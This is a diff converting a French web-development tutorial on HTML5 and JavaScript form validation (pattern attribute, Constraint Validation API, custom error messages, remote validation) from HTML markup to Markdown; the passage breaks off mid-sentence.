l'attribut pattern. Veuillez noter que les navigateurs prenant en charge l'attribut pattern ne signalent pas d'erreur quand - il est utilisé avec un champ number. Seule son utilisation ici agit en tant que recours. --> - <input type="number" min="12" max="120" step="1" id="n1" name="age" - pattern="\d+"> - </p> - <p> - <label for="t1">Quel est votre fruit favori ?<abbr title="Ce champ est obligatoire">*</abbr></label> - <input type="text" id="t1" name="fruit" list="l1" required - pattern="[Bb]anane|[Cc]erise|[Cc]itron|[Ff]raise|[Oo]range|[Pp]omme"> - <datalist id="l1"> - <option>Banane</option> - <option>Cerise</option> - <option>Citron</option> - <option>Fraise</option> - <option>Orange</option> - <option>Pomme</option> - </datalist> - </p> - <p> - <label for="t2">Quelle est votre adresse électronique ?</label> - <input type="email" id="t2" name="email"> - </p> - <p> - <label for="t3">Laissez un court message</label> - <textarea id="t3" name="msg" maxlength="140" rows="5"></textarea> - </p> - <p> - <button>Soumettre</button> - </p> -</form></pre> - -<pre class="brush: css">body { + il est utilisé avec un champ number. Seule son utilisation ici agit en tant que recours. --> + <input type="number" min="12" max="120" step="1" id="n1" name="age" + pattern="\d+"> + </p> + <p> + <label for="t1">Quel est votre fruit favori ?<abbr title="Ce champ est obligatoire">*</abbr></label> + <input type="text" id="t1" name="fruit" list="l1" required + pattern="[Bb]anane|[Cc]erise|[Cc]itron|[Ff]raise|[Oo]range|[Pp]omme"> + <datalist id="l1"> + <option>Banane</option> + <option>Cerise</option> + <option>Citron</option> + <option>Fraise</option> + <option>Orange</option> + <option>Pomme</option> + </datalist> + </p> + <p> + <label for="t2">Quelle est votre adresse électronique ?</label> + <input type="email" id="t2" name="email"> + </p> + <p> + <label for="t3">Laissez un court message</label> + <textarea id="t3" name="msg" maxlength="140" rows="5"></textarea> + </p> + <p> + <button>Soumettre</button> + </p> +</form> +``` + +```css +body { font: 1em sans-serif; padding: 0; margin : 0; @@ -306,7 +306,7 @@ form { padding: 0 5px; } -p > label { +p > label { display: block; } @@ -336,60 +336,42 @@ input:invalid { input:focus:invalid { outline: none; -}</pre> - -<p>{{EmbedLiveSample("Exemple_complet", "100%", 450)}}</p> - - - -<h3 id="Messages_adaptés_pour_les_erreurs">Messages adaptés pour les erreurs</h3> - -<p>Comme nous avons vu dans les exemples précédents, à chaque fois qu'un utilisateur tente d'envoyer un formulaire invalide, le navigateur affiche un message d'erreur. La manière dont le message est affiché dépend du navigateur.</p> - -<p>Ces messages automatiques présentent deux inconvénients:</p> - -<ul> - <li>Il n'y a pas de façon standard de changer leur apparence avec CSS.</li> - <li>Ils dépendent des paramètres régionaux du navigateur, ce qui signifie que vous pouvez avoir une page dans une langue mais les messages d'erreurs affichés dans une autre.</li> -</ul> - -<table> - <caption>Versions françaises des navigateurs sur une page en anglais</caption> - <thead> - <tr> - <th scope="col">Navigateur</th> - <th scope="col">Affichage</th> - </tr> - </thead> - <tbody> - <tr> - <td>Firefox 17 (Windows 7)</td> - <td><img alt="Example of an error message with Firefox in French on an English page" src="error-firefox-win7.png"></td> - </tr> - <tr> - <td>Chrome 22 (Windows 7)</td> - <td><img alt="Example of an error message with Chrome in French on an English page" src="error-chrome-win7.png"></td> - </tr> - <tr> - <td>Opera 12.10 (Mac OSX)</td> - <td><img alt="Example of an error message with Opera in French on an English page" src="error-opera-macos.png"></td> - </tr> - </tbody> -</table> +} +``` + +{{EmbedLiveSample("Exemple_complet", "100%", 450)}} + +### Messages adaptés pour les erreurs -<p>Pour personnaliser l'apparence et le texte de ces messages, vous devez utiliser JavaScript ; il n'est pas possible de l'implémenter en utilisant uniquement HTML et CSS.</p> +Comme nous avons vu dans les exemples précédents, à chaque fois qu'un utilisateur tente d'envoyer un formulaire invalide, le navigateur affiche un message d'erreur. La manière dont le message est affiché dépend du navigateur. -<p>HMTL5 fournit une <a href="https://www.w3.org/TR/html5/forms.html#the-constraint-validation-api">API de contraintes de validation</a> pour vérifier et personnaliser l'état des élément d'un formulaire. Il est possible, entre autres, de changer le texte des messages d'erreur. Voici un court exemple :</p> +Ces messages automatiques présentent deux inconvénients: -<pre class="brush: html"><form> - <label for="mail">Pourriez-vous nous fournir une adresse mail ?</label> - <input type="email" id="mail" name="mail"> - <button>Envoyer</button> -</form></pre> +- Il n'y a pas de façon standard de changer leur apparence avec CSS. +- Ils dépendent des paramètres régionaux du navigateur, ce qui signifie que vous pouvez avoir une page dans une langue mais les messages d'erreurs affichés dans une autre. -<p>En JavaScript, il faut appeler la méthode <a href="/fr/docs/HTML/HTML5/Constraint_validation#Constraint_API's_element.setCustomValidity()" title="/en-US/docs/HTML/HTML5/Constraint_validation#Constraint_API's_element.setCustomValidity()"><code>setCustomValidity()</code></a>:</p> +| Navigateur | Affichage | +| ---------------------- | ------------------------------------------------------------------------------------------------ | +| Firefox 17 (Windows 7) |  | +| Chrome 22 (Windows 7) |  | +| Opera 12.10 (Mac OSX) |  | -<pre class="brush: js">var email = document.getElementById("mail"); +Pour personnaliser l'apparence et le texte de ces messages, vous devez utiliser JavaScript ; il n'est pas possible de l'implémenter en utilisant uniquement HTML et CSS. + +HMTL5 fournit une [API de contraintes de validation](https://www.w3.org/TR/html5/forms.html#the-constraint-validation-api) pour vérifier et personnaliser l'état des élément d'un formulaire. Il est possible, entre autres, de changer le texte des messages d'erreur. Voici un court exemple : + +```html +<form> + <label for="mail">Pourriez-vous nous fournir une adresse mail ?</label> + <input type="email" id="mail" name="mail"> + <button>Envoyer</button> +</form> +``` + +En JavaScript, il faut appeler la méthode [`setCustomValidity()`](</fr/docs/HTML/HTML5/Constraint_validation#Constraint_API's_element.setCustomValidity()> "/en-US/docs/HTML/HTML5/Constraint_validation#Constraint_API's_element.setCustomValidity()"): + +```js +var email = document.getElementById("mail"); email.addEventListener("keyup", function (event) { if(email.validity.typeMismatch) { @@ -397,126 +379,72 @@ email.addEventListener("keyup", function (event) { } else { email.setCustomValidity(""); } -});</pre> - -<p>{{EmbedLiveSample("Messages_adaptés_pour_les_erreurs", "100%", 50)}}</p> - -<h2 id="Validation_de_formulaires_avec_JavaScript">Validation de formulaires avec JavaScript</h2> - -<p>Si vous souhaitez avoir le contrôle de l'apparence des messages d'erreur, ou si vous voulez gérer le comportement des navigateurs n'ayant pas implémenté la validation de formulaire HTML5, vous n'avez pas d'autre choix que d'utiliser JavaScript.</p> - -<h3 id="API_de_contraintes_de_validation_HTML5">API de contraintes de validation HTML5</h3> - -<p>De plus en plus de navigateurs prennent maintenant en charge l'API de validation des contraintes, et elle devient fiable. Cette API se compose d'un ensemble de méthodes et de propriétés disponibles sur chaque élément de formulaire.</p> - -<p>Propriétés de l'API de validation des contraintes</p> - -<table> - <thead> - <tr> - <th scope="col">Propriétés</th> - <th scope="col">Description</th> - </tr> - </thead> - <tbody> - <tr> - <td><code>validationMessage</code></td> - <td>Un message (dans la langue locale) décrivant les contraintes de validation que le contrôle ne satisfait pas (si c'est le cas), ou une chaîne vide si le contrôle n'est pas soumis à validation (<code>willValidate</code> est alors <code>false</code>), ou bien la valeur de l'élément satisfait ses contraintes.</td> - </tr> - <tr> - <td><code>validity</code></td> - <td>Un objet {{domxref("ValidityState")}} qui décrit l'état de validité de l'élément.</td> - </tr> - <tr> - <td><code>validity.customError</code></td> - <td>Renvoie <code>true</code> si l'élément à une erreur personnalisée, <code>false</code> a contrario.</td> - </tr> - <tr> - <td><code>validity.patternMismatch</code></td> - <td>Renvoie <code>true</code> si la valeur de l'élément ne correspond pas au motif fourni, <code>false</code> dans le cas contraire. Si la méthode renvoie <code>true</code>, l'élément fera partie de la pseudo-classe CSS {{cssxref(":invalid")}}.</td> - </tr> - <tr> - <td><code>validity.rangeOverflow</code></td> - <td>Renvoie <code>true</code> si la valeur de l'élément est supérieure au maximum défini, <code>false</code> dans le cas contraire. Si le retour est <code>true</code>, l'élément fera partie des pseudo-classes CSS {{cssxref(":invalid")}} et {{cssxref(":out-of-range")}}.</td> - </tr> - <tr> - <td><code>validity.rangeUnderflow</code></td> - <td>Renvoie <code>true</code> si la valeur de l'élément est plus petite que le minimum défini, <code>false</code> dans le cas contraire. Si le retour est <code>true</code>, l'élément fera partie des pseudo-classes CSS {{cssxref(":invalid")}} et {{cssxref(":out-of-range")}}.</td> - </tr> - <tr> - <td><code>validity.stepMismatch</code></td> - <td>Renvoie <code>true</code> si la valeur de l'élément ne correspond pas aux règles définies par l'attribut <code>step</code>,<code>false</code> a contrario. Si le retour est <code>true</code>, l'élément fera partie des pseudo-classes CSS {{cssxref(":invalid")}} et {{cssxref(":out-of-range")}}.</td> - </tr> - <tr> - <td><code>validity.tooLong</code></td> - <td>Renvoie <code>true</code> si la taille de l'élément est supérieure à la longueur maximum définie, <code>false</code> dans le cas contraire. Si le retour est <code>true</code>, l'élément fera partie des pseudo-classes CSS {{cssxref(":invalid")}} et {{cssxref(":out-of-range")}}.</td> - </tr> - <tr> - <td><code>validity.typeMismatch</code></td> - <td>Renvoie <code>true</code> si la syntaxe de la valeur de l'élément n'est pas correcte ; <code>false</code> dans le cas contraire. Si le retour est <code>true</code>, l'élément sera de la pseudo-classe CSS {{cssxref(":invalid")}}.</td> - </tr> - <tr> - <td><code>validity.valid</code></td> - <td>Renvoie <code>true</code> si la valeur de l'élément n'a pas de problème de validité, sinon <code>false</code>. L'élément sera de la pseudo-classe CSS {{cssxref(":valid")}} si le retour est <code>true</code> ; de la pseudo-classe CSS {{cssxref(":invalid")}} si le retour est <code>false</code>.</td> - </tr> - <tr> - <td><code>validity.valueMissing</code></td> - <td>Renvoie <code>true</code> si l'élément n'a pas de valeur alors que le champ est requis, sinon<code>false</code>. L'élément sera de la pseudo-classe CSS {{cssxref(":invalid")}} si le retour est <code>true</code>.</td> - </tr> - <tr> - <td><code>willValidate</code></td> - <td>Retourne <code>true</code> si l'élément est validé lorsque le formulaire est soumis, <code>false</code> dans le cas contraire.</td> - </tr> - </tbody> -</table> +}); +``` -<h4 id="Méthodes_de_l'API_de_validation_des_contraintes">Méthodes de l'API de validation des contraintes</h4> - -<table> - <thead> - <tr> - <th scope="col">Méthodes</th> - <th scope="col">Description</th> - </tr> - </thead> - <tbody> - <tr> - <td><code>checkValidity()</code></td> - <td>Renvoie <code>true</code> si la valeur de l'élément n'a pas de problème de validation, <code>false</code> autrement. Si l'élément est invalide, cette méthode déclenche aussi un événement {{event("invalid")}} sur cet élément.</td> - </tr> - <tr> - <td><code>setCustomValidity(<em>message</em>)</code></td> - <td>Ajoute un message d'erreur personnalisé à l'élément ; si vous définissez un message d'erreur personnalisé, l'élément est considéré comme invalide, et le message spécifié est affiché. Cela vous permet d'utiliser du code JavaScript pour établir une erreur de validation autre que celles offertes par l'API standard des contraintes de validation. Le message est affiché à l'utilisateur lorsque le problème est rapporté. Si l'argument est une chaîne de caractères vide, l'erreur personnalisée est considérée comme effacée.</td> - </tr> - </tbody> -</table> +{{EmbedLiveSample("Messages_adaptés_pour_les_erreurs", "100%", 50)}} + +## Validation de formulaires avec JavaScript + +Si vous souhaitez avoir le contrôle de l'apparence des messages d'erreur, ou si vous voulez gérer le comportement des navigateurs n'ayant pas implémenté la validation de formulaire HTML5, vous n'avez pas d'autre choix que d'utiliser JavaScript. + +### API de contraintes de validation HTML5 + +De plus en plus de navigateurs prennent maintenant en charge l'API de validation des contraintes, et elle devient fiable. Cette API se compose d'un ensemble de méthodes et de propriétés disponibles sur chaque élément de formulaire. + +Propriétés de l'API de validation des contraintes + +| Propriétés | Description | +| -------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| `validationMessage` | Un message (dans la langue locale) décrivant les contraintes de validation que le contrôle ne satisfait pas (si c'est le cas), ou une chaîne vide si le contrôle n'est pas soumis à validation (`willValidate` est alors `false`), ou bien la valeur de l'élément satisfait ses contraintes. | +| `validity` | Un objet {{domxref("ValidityState")}} qui décrit l'état de validité de l'élément. | +| `validity.customError` | Renvoie `true` si l'élément à une erreur personnalisée, `false` a contrario. | +| `validity.patternMismatch` | Renvoie `true` si la valeur de l'élément ne correspond pas au motif fourni, `false` dans le cas contraire. Si la méthode renvoie `true`, l'élément fera partie de la pseudo-classe CSS {{cssxref(":invalid")}}. | +| `validity.rangeOverflow` | Renvoie `true` si la valeur de l'élément est supérieure au maximum défini, `false` dans le cas contraire. Si le retour est `true`, l'élément fera partie des pseudo-classes CSS {{cssxref(":invalid")}} et {{cssxref(":out-of-range")}}. | +| `validity.rangeUnderflow` | Renvoie `true` si la valeur de l'élément est plus petite que le minimum défini, `false` dans le cas contraire. Si le retour est `true`, l'élément fera partie des pseudo-classes CSS {{cssxref(":invalid")}} et {{cssxref(":out-of-range")}}. | +| `validity.stepMismatch` | Renvoie `true` si la valeur de l'élément ne correspond pas aux règles définies par l'attribut `step`,`false` a contrario. Si le retour est `true`, l'élément fera partie des pseudo-classes CSS {{cssxref(":invalid")}} et {{cssxref(":out-of-range")}}. | +| `validity.tooLong` | Renvoie `true` si la taille de l'élément est supérieure à la longueur maximum définie, `false` dans le cas contraire. Si le retour est `true`, l'élément fera partie des pseudo-classes CSS {{cssxref(":invalid")}} et {{cssxref(":out-of-range")}}. | +| `validity.typeMismatch` | Renvoie `true` si la syntaxe de la valeur de l'élément n'est pas correcte ; `false` dans le cas contraire. Si le retour est `true`, l'élément sera de la pseudo-classe CSS {{cssxref(":invalid")}}. | +| `validity.valid` | Renvoie `true` si la valeur de l'élément n'a pas de problème de validité, sinon `false`. L'élément sera de la pseudo-classe CSS {{cssxref(":valid")}} si le retour est `true` ; de la pseudo-classe CSS {{cssxref(":invalid")}} si le retour est `false`. | +| `validity.valueMissing` | Renvoie `true` si l'élément n'a pas de valeur alors que le champ est requis, sinon`false`. L'élément sera de la pseudo-classe CSS {{cssxref(":invalid")}} si le retour est `true`. | +| `willValidate` | Retourne `true` si l'élément est validé lorsque le formulaire est soumis, `false` dans le cas contraire. | + +#### Méthodes de l'API de validation des contraintes + +| Méthodes | Description | +| ---------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| `checkValidity()` | Renvoie `true` si la valeur de l'élément n'a pas de problème de validation, `false` autrement. Si l'élément est invalide, cette méthode déclenche aussi un événement {{event("invalid")}} sur cet élément. | +| `setCustomValidity(message)` | Ajoute un message d'erreur personnalisé à l'élément ; si vous définissez un message d'erreur personnalisé, l'élément est considéré comme invalide, et le message spécifié est affiché. Cela vous permet d'utiliser du code JavaScript pour établir une erreur de validation autre que celles offertes par l'API standard des contraintes de validation. Le message est affiché à l'utilisateur lorsque le problème est rapporté. Si l'argument est une chaîne de caractères vide, l'erreur personnalisée est considérée comme effacée. | -<p>Pour les anciens navigateurs, il existe <a href="https://hyperform.js.org/">une prothèse d'émulation (<em>polyfill</em>) comme Hyperform</a>, pour compenser le défaut de prise en charge de cette API. Comme vous utilisez déjà JavaScript, l'utilisation d'une prethèse d'émulation n'est pas un souci supplémentaire pour la conception ou l'implémentation de votre site ou application Web.</p> +Pour les anciens navigateurs, il existe [une prothèse d'émulation (_polyfill_) comme Hyperform](https://hyperform.js.org/), pour compenser le défaut de prise en charge de cette API. Comme vous utilisez déjà JavaScript, l'utilisation d'une prethèse d'émulation n'est pas un souci supplémentaire pour la conception ou l'implémentation de votre site ou application Web. -<h4 id="Exemple_utilisant_la_validation_des_contraintes">Exemple utilisant la validation des contraintes</h4> +#### Exemple utilisant la validation des contraintes -<p>Voyons comment utiliser l'API pour créer des messages d'erreur personnalisés. Tout d'abord, le HTML :</p> +Voyons comment utiliser l'API pour créer des messages d'erreur personnalisés. Tout d'abord, le HTML : -<pre class="brush: html"><form novalidate> - <p> - <label for="mail"> - <span>Veuillez saisir une adresse e-mail :</span> - <input type="email" id="mail" name="mail"> - <span class="error" aria-live="polite"></span> - </label> - <p> - <button>Envoyer</button> -</form></pre> +```html +<form novalidate> + <p> + <label for="mail"> + <span>Veuillez saisir une adresse e-mail :</span> + <input type="email" id="mail" name="mail"> + <span class="error" aria-live="polite"></span> + </label> + <p> + <button>Envoyer</button> +</form> +``` -<p>Ce formulaire simple utilise l'attribut {{htmlattrxref("novalidate","form")}} pour désactiver la validation automatique par le navigateur ; cela permet donc à notre script d'avoir le contrôle sur la validation. Toutefois, cela ne désactive la prise en charge par l'API de validation des contraintes, ni l'application des pseudo-classes CSS {{cssxref(":valid")}}, {{cssxref(":invalid")}}, {{cssxref(":in-range")}} et {{cssxref(":out-of-range")}}. Cela signifie que, même si le navigateur ne vérifie pas automatiquement la validité du formulaire avant l'envoi des données, vous pouvez toujours effectuer cette validation et définir l'apparence du formulaire par vous-même.</p> +Ce formulaire simple utilise l'attribut {{htmlattrxref("novalidate","form")}} pour désactiver la validation automatique par le navigateur ; cela permet donc à notre script d'avoir le contrôle sur la validation. Toutefois, cela ne désactive la prise en charge par l'API de validation des contraintes, ni l'application des pseudo-classes CSS {{cssxref(":valid")}}, {{cssxref(":invalid")}}, {{cssxref(":in-range")}} et {{cssxref(":out-of-range")}}. Cela signifie que, même si le navigateur ne vérifie pas automatiquement la validité du formulaire avant l'envoi des données, vous pouvez toujours effectuer cette validation et définir l'apparence du formulaire par vous-même. -<p>L'attribut <code><a href="/fr/docs/Accessibility/ARIA/ARIA_Live_Regions">aria-live</a></code> garantit que nos messages d'erreur personnalisés seront affichés à tout le monde, y compris les personnes utilisant des techniques d'assistance comme des lecteurs d'écran.</p> +L'attribut [`aria-live`](/fr/docs/Accessibility/ARIA/ARIA_Live_Regions) garantit que nos messages d'erreur personnalisés seront affichés à tout le monde, y compris les personnes utilisant des techniques d'assistance comme des lecteurs d'écran. -<h5 id="CSS">CSS</h5> +##### CSS -<p>Ce CSS compose le formulaire et les messages d'erreur pour les rendre plus attrayants.</p> +Ce CSS compose le formulaire et les messages d'erreur pour les rendre plus attrayants. -<pre class="brush: css">/* Juste pour que notre exemple soit plus joli */ +```css +/* Juste pour que notre exemple soit plus joli */ body { font: 1em sans-serif; padding: 0; @@ -571,13 +499,15 @@ input:focus:invalid { .error.active { padding: 0.3em; -}</pre> +} +``` -<h5 id="JavaScript">JavaScript</h5> +##### JavaScript -<p>Le code JavaScript suivant gère la validation personnalisée des erreurs.</p> +Le code JavaScript suivant gère la validation personnalisée des erreurs. -<pre class="brush: js">// Il y a plusieurs façon de sélectionner un nœud DOM ; ici on récupère +```js +// Il y a plusieurs façon de sélectionner un nœud DOM ; ici on récupère // le formulaire et le champ d'e-mail ainsi que l'élément span // dans lequel on placera le message d'erreur @@ -606,60 +536,61 @@ form.addEventListener("submit", function (event) { // Et on empêche l'envoi des données du formulaire event.preventDefault(); } -}, false);</pre> +}, false); +``` + +Voici le résultat: -<p>Voici le résultat:</p> +{{EmbedLiveSample("Exemple_utilisant_la_validation_des_contraintes", "100%", 130)}} -<p>{{EmbedLiveSample("Exemple_utilisant_la_validation_des_contraintes", "100%", 130)}}</p> +L'API de validation des contraintes fournit un outil puissant pour gérer la validation des formulaires, en vous laissant un contrôle sur l'interface utilisateur bien supérieur à ce que vous auriez pu avoir avec uniquement HTML et CSS. -<p>L'API de validation des contraintes fournit un outil puissant pour gérer la validation des formulaires, en vous laissant un contrôle sur l'interface utilisateur bien supérieur à ce que vous auriez pu avoir avec uniquement HTML et CSS. </p> +### Valider des formulaires sans API intégrée -<h3 id="Valider_des_formulaires_sans_API_intégrée">Valider des formulaires sans API intégrée</h3> +Il arrive parfois, comme c'est le cas avec des navigateurs anciens ou de [widgets personnalisés](/fr/docs/HTML/Forms/How_to_build_custom_form_widgets), de ne pas pouvoir (ou vouloir) utiliser l'API de validation des contraintes. Dans ce cas, vous pourrez toujours utiliser JavaScript pour valider votre formulaire. Valider un formulaire est plus une question d'interface utilisateur que de réelle validation des données. -<p>Il arrive parfois, comme c'est le cas avec des navigateurs anciens ou de <a href="/fr/docs/HTML/Forms/How_to_build_custom_form_widgets">widgets personnalisés</a>, de ne pas pouvoir (ou vouloir) utiliser l'API de validation des contraintes. Dans ce cas, vous pourrez toujours utiliser JavaScript pour valider votre formulaire. Valider un formulaire est plus une question d'interface utilisateur que de réelle validation des données.</p> +Pour valider un formulaire, vous devez vous poser un certain nombre de questions: -<p>Pour valider un formulaire, vous devez vous poser un certain nombre de questions:</p> +- Quel type de validation dois-je réaliser ? + - : Vous devez déterminer comment valider vos données : opération sur des chaînes de caractères, conversion de type, expressions rationnelles, etc. C'est comme vous voulez. Mais retenez simplement que les données de formulaire sont toujours du texte et sont toujours fournies à vos scripts sous forme de chaînes de caractères. +- Que dois-je faire si le formulaire n'est pas valide ? + - : C'est clairement une affaire d'interface utilisateur. Vous devez décider comment le formulaire doit se comporter : enverra-t-il quand même les données ? Devriez-vous mettre en évidence les champs qui sont en erreur ? Devriez-vous afficher des messages d'erreur ? +- Comment puis-je aider l'utilisateur à corriger ses données invalides? -<dl> - <dt>Quel type de validation dois-je réaliser ?</dt> - <dd>Vous devez déterminer comment valider vos données : opération sur des chaînes de caractères, conversion de type, expressions rationnelles, etc. C'est comme vous voulez. Mais retenez simplement que les données de formulaire sont toujours du texte et sont toujours fournies à vos scripts sous forme de chaînes de caractères.</dd> - <dt>Que dois-je faire si le formulaire n'est pas valide ?</dt> - <dd>C'est clairement une affaire d'interface utilisateur. Vous devez décider comment le formulaire doit se comporter : enverra-t-il quand même les données ? Devriez-vous mettre en évidence les champs qui sont en erreur ? Devriez-vous afficher des messages d'erreur ?</dd> - <dt>Comment puis-je aider l'utilisateur à corriger ses données invalides?</dt> - <dd><p>Pour limiter la frustration de l'utilisateur, il est très important de fournir autant d'information d'aide que nécessaire pour le guider dans la correction de sa saisie. Vous devriez afficher des suggestions en amont pour que l'utilisateur sache ce qui est attendu, ainsi que des messages d'erreur clairs. Si vous souhaitez vous plonger dans les exigences d'interface utilsateur pour la validation de formulaires, voici quelques articles (en anglais) utiles que vous devriez lire :</p> - <ul> - <li>SmashingMagazine : <a href="http://uxdesign.smashingmagazine.com/2012/06/27/form-field-validation-errors-only-approach/" rel="external">Form-Field Validation: The Errors-Only Approach</a></li> - <li>SmashingMagazine : <a href="http://www.smashingmagazine.com/2009/07/07/web-form-validation-best-practices-and-tutorials/" rel="external">Web Form Validation: Best Practices and Tutorials</a></li> - <li>Six Revision : <a href="http://sixrevisions.com/user-interface/best-practices-for-hints-and-validation-in-web-forms/" rel="external">Best Practices for Hints and Validation in Web Forms</a></li> - <li>A List Apart : <a href="https://www.alistapart.com/articles/inline-validation-in-web-forms/" rel="external">Inline Validation in Web Forms</a></li> - </ul> - </dd> -</dl> + - : Pour limiter la frustration de l'utilisateur, il est très important de fournir autant d'information d'aide que nécessaire pour le guider dans la correction de sa saisie. Vous devriez afficher des suggestions en amont pour que l'utilisateur sache ce qui est attendu, ainsi que des messages d'erreur clairs. Si vous souhaitez vous plonger dans les exigences d'interface utilsateur pour la validation de formulaires, voici quelques articles (en anglais) utiles que vous devriez lire : -<h4 id="Exemple_sans_utilisation_de_la_validation_des_contraintes">Exemple sans utilisation de la validation des contraintes</h4> + - SmashingMagazine : [Form-Field Validation: The Errors-Only Approach](http://uxdesign.smashingmagazine.com/2012/06/27/form-field-validation-errors-only-approach/) + - SmashingMagazine : [Web Form Validation: Best Practices and Tutorials](http://www.smashingmagazine.com/2009/07/07/web-form-validation-best-practices-and-tutorials/) + - Six Revision : [Best Practices for Hints and Validation in Web Forms](http://sixrevisions.com/user-interface/best-practices-for-hints-and-validation-in-web-forms/) + - A List Apart : [Inline Validation in Web Forms](https://www.alistapart.com/articles/inline-validation-in-web-forms/) -<p>Afin d'illustrer le propos, réécrivons le précédent exemple afin qu'il fonctionne avec d'anciens navigateurs:</p> +#### Exemple sans utilisation de la validation des contraintes -<pre class="brush: html"><form> - <p> - <label for="mail"> - <span>Veuillez saisir une adresse e-mail :</span> - <input type="text" class="mail" id="mail" name="mail"> - <span class="error" aria-live="polite"></span> - </label> - <p> - <!-- Certains navigateurs historiques ont besoin de l'attribut - `type` avec la valeur `submit` sur l'élément `button` --> - <button type="submit">Envoyer</button> -</form></pre> +Afin d'illustrer le propos, réécrivons le précédent exemple afin qu'il fonctionne avec d'anciens navigateurs: -<p>Comme vous pouvez voir, le HTML est quasiment identique; nous avons juste enlevé les fonctionnalités de validation HTML. Notez que <a href="/fr/docs/Accessibility/ARIA" title="/en-US/docs/Accessibility/ARIA">ARIA</a> est une spécification indépendante qui n'est pas spécifiquement liée à HTML5.</p> +```html +<form> + <p> + <label for="mail"> + <span>Veuillez saisir une adresse e-mail :</span> + <input type="text" class="mail" id="mail" name="mail"> + <span class="error" aria-live="polite"></span> + </label> + <p> + <!-- Certains navigateurs historiques ont besoin de l'attribut + `type` avec la valeur `submit` sur l'élément `button` --> + <button type="submit">Envoyer</button> +</form> +``` -<h5 id="CSS_2">CSS</h5> +Comme vous pouvez voir, le HTML est quasiment identique; nous avons juste enlevé les fonctionnalités de validation HTML. Notez que [ARIA](/fr/docs/Accessibility/ARIA "/en-US/docs/Accessibility/ARIA") est une spécification indépendante qui n'est pas spécifiquement liée à HTML5. -<p>De même, nous n'avons pas eu à changer radicalement les CSS ; nous avons simplement transformé la pseudo-classe {{cssxref(":invalid")}} en une vraie classe et évité d'utiliser le sélecteur d'attribut, qui ne fonctionne pas avec Internet Explorer 6.</p> +##### CSS -<pre class="brush: css">/* On améliore l'aspect de l'exemple avec ces quelques règles */ +De même, nous n'avons pas eu à changer radicalement les CSS ; nous avons simplement transformé la pseudo-classe {{cssxref(":invalid")}} en une vraie classe et évité d'utiliser le sélecteur d'attribut, qui ne fonctionne pas avec Internet Explorer 6. + +```css +/* On améliore l'aspect de l'exemple avec ces quelques règles */ body { font: 1em sans-serif; padding: 0; @@ -714,13 +645,15 @@ input:focus.invalid { .error.active { padding: 0.3em; -}</pre> +} +``` -<h5 id="JavaScript_2">JavaScript</h5> +##### JavaScript -<p>Les changements les plus importants sont dans le code JavaScript, qui nécessite bien plus que de simples retouches.</p> +Les changements les plus importants sont dans le code JavaScript, qui nécessite bien plus que de simples retouches. -<pre class="brush: js">// Il existe moins de méthode pour sélectionner un nœud DOM +```js +// Il existe moins de méthode pour sélectionner un nœud DOM // avec les navigateurs historiques var form = document.getElementsByTagName('form')[0]; var email = document.getElementById('mail'); @@ -732,7 +665,7 @@ var error = email; while ((error = error.nextSibling).nodeType != 1); // Pour respecter la spécification HTML5 -var emailRegExp = /^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$/; +var emailRegExp = /^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$/; // De nombreux navigateurs historiques ne supportent pas la méthode // addEventListener. Voici une méthode simple (il en existe d'autres) @@ -795,62 +728,52 @@ addEvent(form, "submit", function () { error.innerHTML = ""; error.className = "error"; } -});</pre> +}); +``` + +Voici le résultat: + +{{EmbedLiveSample("Exemple_sans_utilisation_de_la_validation_des_contraintes", "100%", 130)}} + +Comme vous avez pu le voir, il n'est pas si difficile de créer par soi-même un système de validation. La difficulté consiste à rendre le tout assez générique pour l'utiliser à la fois sur toutes les plateformes et pour chaque formulaire que vous pourriez créer. Il existe de nombreuses bibliothèques permettant ce genre de validation de formulaire ; n'hésitez pas à les utiliser. En voici quelques exemples : -<p>Voici le résultat:</p> +- Bibliothèques indépendantes : -<p>{{EmbedLiveSample("Exemple_sans_utilisation_de_la_validation_des_contraintes", "100%", 130)}}</p> + - [Validate.js](http://rickharrison.github.com/validate.js/) -<p>Comme vous avez pu le voir, il n'est pas si difficile de créer par soi-même un système de validation. La difficulté consiste à rendre le tout assez générique pour l'utiliser à la fois sur toutes les plateformes et pour chaque formulaire que vous pourriez créer. Il existe de nombreuses bibliothèques permettant ce genre de validation de formulaire ; n'hésitez pas à les utiliser. En voici quelques exemples :</p> +- Greffons jQuery : -<ul> - <li>Bibliothèques indépendantes : - <ul> - <li><a href="http://rickharrison.github.com/validate.js/" rel="external">Validate.js</a></li> - </ul> - </li> - <li>Greffons jQuery : - <ul> - <li><a href="http://bassistance.de/jquery-plugins/jquery-plugin-validation/" rel="external">Validation</a> </li> - </ul> - </li> -</ul> + - [Validation](http://bassistance.de/jquery-plugins/jquery-plugin-validation/) -<h4 id="Validation_à_distance">Validation à distance</h4> +#### Validation à distance -<p>Il peut être utile, dans certains cas, d'effectuer une validation à distance. Ce genre de validation est nécessaire lorsque les données saisies par l'utilisateur sont liées à des données supplémentaires stockées sur le serveur hébergeant votre application. Prenons par exemple les formulaires d'inscription, pour lesquels on vous demande un nom d'utilisateur. Pour éviter toute duplication d'un nom d'utilisateur, il est plus judicieux d'effectuer une requête AJAX pour vérifier la disponibilté du nom d'utilisateur que de demander à envoyer les données saisies et de renvoyer le formulaire avec une erreur.</p> +Il peut être utile, dans certains cas, d'effectuer une validation à distance. Ce genre de validation est nécessaire lorsque les données saisies par l'utilisateur sont liées à des données supplémentaires stockées sur le serveur hébergeant votre application. Prenons par exemple les formulaires d'inscription, pour lesquels on vous demande un nom d'utilisateur. Pour éviter toute duplication d'un nom d'utilisateur, il est plus judicieux d'effectuer une requête AJAX pour vérifier la disponibilté du nom d'utilisateur que de demander à envoyer les données saisies et de renvoyer le formulaire avec une erreur. -<p>Pour réaliser une telle validation, plusieurs précautions doivent être prises :</p> +Pour réaliser une telle validation, plusieurs précautions doivent être prises : -<ul> - <li>Il est nécessaire d'exposer une API et des données ; assurez-vous que ces données ne soient pas critiques.</li> - <li>Un décalage (<em>lag</em>) du réseau nécessite une validtion asynchrone. L'interface utilisateur doit être conçue de façon à pas être bloquée si cette validation n'est pas réalisée correctement.</li> -</ul> +- Il est 